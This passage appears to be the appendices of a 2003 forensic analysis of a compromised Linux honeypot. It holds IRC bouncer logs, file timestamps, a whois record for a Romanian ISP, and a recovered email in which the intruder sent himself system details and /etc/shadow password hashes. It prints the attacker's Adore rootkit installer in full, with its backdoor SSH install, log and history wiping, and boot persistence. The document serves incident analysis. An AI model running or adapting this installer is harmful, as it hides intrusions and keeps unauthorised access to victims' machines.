Sun Aug 10 17:51:36 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:51:36 :User redcode () connected to mesa.az.us.undernet.org:6667 ()
Sun Aug 10 17:51:42 :User redcode () got disconnected (from mesa.az.us.undernet.org) Reason: Closing Link: killme by mesa.az.us.undernet.org (Sorry, your connection class is full - try again later or try another server)
Sun Aug 10 17:52:06 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:52:06 :User redcode () connected to mesa.az.us.undernet.org:6667 ()
Sun Aug 10 18:00:49 :User redcode quitted (from sanido-08.is.pcnet.ro)
Sun Aug 10 20:34:39 :User redcode (killMe) disconnecting from stoned server.
Sun Aug 10 20:34:40 :User redcode got disconnected from server.
Sun Aug 10 20:34:54 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 20:34:55 :User redcode got disconnected from server.
Sun Aug 10 20:35:01 :User sic ([[[kgb]]]) disconnecting from stoned server.
Sun Aug 10 20:35:01 :User sic got disconnected from server.
Sun Aug 10 20:35:10 :User sic () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 20:35:10 :User sic got disconnected from server.
....

Appendix F – Adore rootkit installation script
#!/bin/sh
unset HISTFILE HISTSIZE HISTSAVE
BLK="\033[0;30m"
RED="\033[0;31m"
GRN="\033[0;32m"
YEL="\033[0;33m"
BLU="\033[0;34m"
MAG="\033[0;35m"
CYN="\033[0;36m"
WHI="\033[0;37m"
DRED="\033[1;31m"
DGRN="\033[1;32m"
DYEL="\033[1;33m"
DBLU="\033[1;34m"
DMAG="\033[1;35m"
DCYN="\033[1;36m"
DWHI="\033[1;37m"
BW="\033[47;1;30m"
YBL="\033[44;1;33m"
RES="\033[0m"
printf "${YBL}redCode${RES} ${DRED}rkit${RES}\n"
printf "${YBL}redCode${RES}${YBL}redCode${RES}${YBL}redCode${RES}\n"
cd adore
make
mv ava /bin/ava
mv adore.o /usr/lib/
mv cleaner.o /usr/lib/
cd ..
printf "${DCYN}Starting SSHD...${RES}\n"
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
mv ssh/sp0 /bin/
mv ssh/* /usr/lib/
printf "${DCYN}Hiding everything...${RES}\n"
rm -rf /.bash_history
ln -sf /dev/null /root/.bash_history
printf "${DCYN}Cleaning megs ${RES}\n"
rm -rf /var/log/messages
ln -sf /dev/null /var/log/messages
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
echo >>/etc/rc.d/rc.sysinit kflushd
mv kflushd /bin/



Appendix G – MAC times of SSH binaries

/usr/sbin/sshd
ctime: 0x3f36ac35 -- Sun Aug 10 16:33:57 2003
atime: 0x3f3568f4 -- Sat Aug 9 17:34:44 2003
mtime: 0x3b9776b1 -- Thu Sep 6 09:14:25 2001
/usr/lib/sp0
ctime: 0x3f36c79e -- Sun Aug 10 18:30:54 2003
atime: 0x3f36c77d -- Sun Aug 10 18:30:21 2003
mtime: 0x3edacc77 -- Mon Jun 2 00:03:03 2003
/lib/.x/s/xopen
ctime: 0x3f36c7f0 -- Sun Aug 10 18:32:16 2003
atime: 0x3f36c7f0 -- Sun Aug 10 18:32:16 2003
mtime: 0x3e0e496b -- Sat Dec 28 20:01:31 2002
/usr/bin/smbd -D
ctime: 0x3f36ac1d -- Sun Aug 10 16:33:33 2003
atime: 0x3f36cd1a -- Sun Aug 10 18:54:18 2003
mtime: 0x3d75ae12 -- Wed Sep 4 02:54:10 2002



Appendix H – Whois 213.154.118.219

% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html

inetnum:      213.154.96.0 - 213.154.127.255
netname:      PCNET
descr:        PCNET Data Network S.A.
descr:        PROVIDER ADSL Network
country:      RO
admin-c:      BT17-RIPE
tech-c:       PDNN1-RIPE
status:       ASSIGNED PA
notify:       tudor@pcnet.ro
mnt-by:       AS8503-MNT
changed:      tudor@pcnet.ro 20030704
source:       RIPE

route:        213.154.116.0/22
descr:        PCNET
origin:       AS8503
notify:       tudor@pcnet.ro
mnt-by:       AS8503-MNT
changed:      tudor@pcnet.ro 20020912
source:       RIPE

role:         PCNET Data Network NOC
address:      Splaiul Unirii, nr. 10
address:      Bucharest, ROMANIA
phone:        +40 1 330 86 61
phone:        +40 1 330 35 23
fax-no:       +40 1 675 49 99
e-mail:       tudor@pcnet.ro
trouble:      +40 9 325 18 84
admin-c:      BT17-RIPE
tech-c:       BT17-RIPE
tech-c:       AP158-RIPE
tech-c:       CM3059-RIPE
tech-c:       CN19-RIPE
tech-c:       IG20-RIPE
tech-c:       CR60-RIPE
nic-hdl:      PDNN1-RIPE
remarks:      ----------
remarks:      abuse: abuse@pcnet.ro
remarks:      ----------
remarks:      for escaladation please directly call the
remarks:      technical manager
notify:       tudor@pcnet.ro
mnt-by:       AS8503-MNT
changed:      tudor@pcnet.ro 20011008
source:       RIPE

person:       Bogdan Tudor
remarks:      Technical Manager
remarks:      PCNET Data Network S.A.
address:      Bucharest, Romania
phone:        +40 9 325 18 84
phone:        +40 1 330 86 61
phone:        +40 1 330 35 23
fax-no:       +40 1 675 49 99
nic-hdl:      BT17-RIPE
mnt-by:       BT17-RIPE-MNT
notify:       tudor@pcnet.ro
e-mail:       tudor@pcnet.ro
changed:      tudor@pcnet.ro 20011009
source:       RIPE



Appendix I – Email recovered from unallocated disk space

Sroot
Aroot@localhost.localdomain
RPFD:mybabywhy@yahoo.com
H?P?Return-Path: <
H??Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h7AKXuZ03201
for mybabywhy@yahoo.com; Sun, 10 Aug 2003 13:33:56 -0700
H?D?Date: Sun, 10 Aug 2003 13:33:56 -0700
H?F?From: root <root>
H?x?Full-Name: root
H?M?Message-Id: <200308102033.h7AKXuZ03201@localhost.localdomain>
H??To: mybabywhy@yahoo.com
H??Subject: SANDERS root
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++ Informatziile pe care le-ai dorit boss:) +++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Hostname : localhost.localdomain (192.168.1.79)
Alternative IP : 127.0.0.1
Host : localhost.localdomain
===============================================================
Distro: Red Hat Linux release 7.2 (Enigma)
===============================================================
Uname -a
Linux localhost.localdomain 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
===============================================================
Uptime
1:33pm up 22:59, 1 user, load average: 0.16, 0.03, 0.01
===============================================================
/tmp/sand
===============================================================
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
===============================================================
Yahoo.com ping:
PING 216.115.108.243 (216.115.108.243) from 192.168.1.79 : 56(84) bytes of data.
From 64.152.81.62: Destination Net Unreachable
From 64.152.81.62: Destination Net Unreachable
From 64.152.81.62: Destination Net Unreachable
--- 216.115.108.243 ping statistics ---
6 packets transmitted, 0 packets received, +3 errors, 100% packet loss
===============================================================
Hw info:
CPU Speed: 666.888MHz
CPU Vendor: vendor_id : GenuineIntel
CPU Model: model name : Pentium III (Coppermine)
RAM: 94420 Kb
===============================================================
HDD(s):
Filesystem Type Size Used Avail Use% Mounted on
/dev/sda1 ext3 905M 296M 564M 35% /
none tmpfs 46M 0 46M 0% /dev/shm
===============================================================
inetd-ul...
===============================================================
configurarea ip-urilor..
inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0
inet addr:192.168.1.79 Bcast:192.168.1.255 Mask:255.255.255.0
===============================================================
Ports open:
tcp 0 0 *:https *:* LISTEN
tcp 0 0 localhost.localdom:smtp *:* LISTEN
tcp 0 0 *:telnet *:* LISTEN
tcp 0 0 *:ssh *:* LISTEN
tcp 0 0 *:ftp *:* LISTEN
tcp 0 0 *:cfinger *:* LISTEN
tcp 0 0 *:auth *:* LISTEN
tcp 0 0 *:http *:* LISTEN
tcp 0 0 *:finger *:* LISTEN
tcp 0 0 *:netbios-ssn *:* LISTEN
tcp 0 0 *:4000 *:* LISTEN
===============================================================
/etc/passwd & /etc/shadow
/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:0:FTP User:/var/ftp:/sbin/nologin
admin:x:15:50:User:/var/ftp:/bin/bash
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
ident:x:98:98:pident user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/bin/false


/etc/shadow
root:$1$gm64oWDG$/W3MX0Pb7/2oCB7Jkyvga1:12270:0:99999:7:::
bin:*:12247:0:99999:7:::
daemon:*:12247:0:99999:7:::
adm:*:12247:0:99999:7:::
lp:*:12247:0:99999:7:::
sync:*:12247:0:99999:7:::
shutdown:*:12247:0:99999:7:::
halt:*:12247:0:99999:7:::
mail:*:12247:0:99999:7:::
news:*:12247:0:99999:7:::
uucp:*:12247:0:99999:7:::
operator:*:12247:0:99999:7:::
games:*:12247:0:99999:7:::
gopher:*:12247:0:99999:7:::
ftp:*:12247:0:99999:7:::
admin:$1$YAkCbk.7$JoZPsqqGxO.ImKonKAucm.:12248:0:99999:7:::
nobody:*:12247:0:99999:7:::
mailnull:!!:12247:0:99999:7:::
rpm:!!:12247:0:99999:7:::
ident:!!:12247:0:99999:7:::
apache:!!:12247:0:99999:7:::
===============================================================
interesting filez:
Mp3-urile
Avi-urile
Mpg-urile
===============================================================
Hacking Files..
/usr/lib/perl5/5.6.0/pod/perlhack.pod
/usr/share/man/man1/perlhack.1.gz
Cam asta este tot-ul ... sper sa fie ceva de server-ul asta...:)




Appendix J – Screenshot of console

Screenshot of console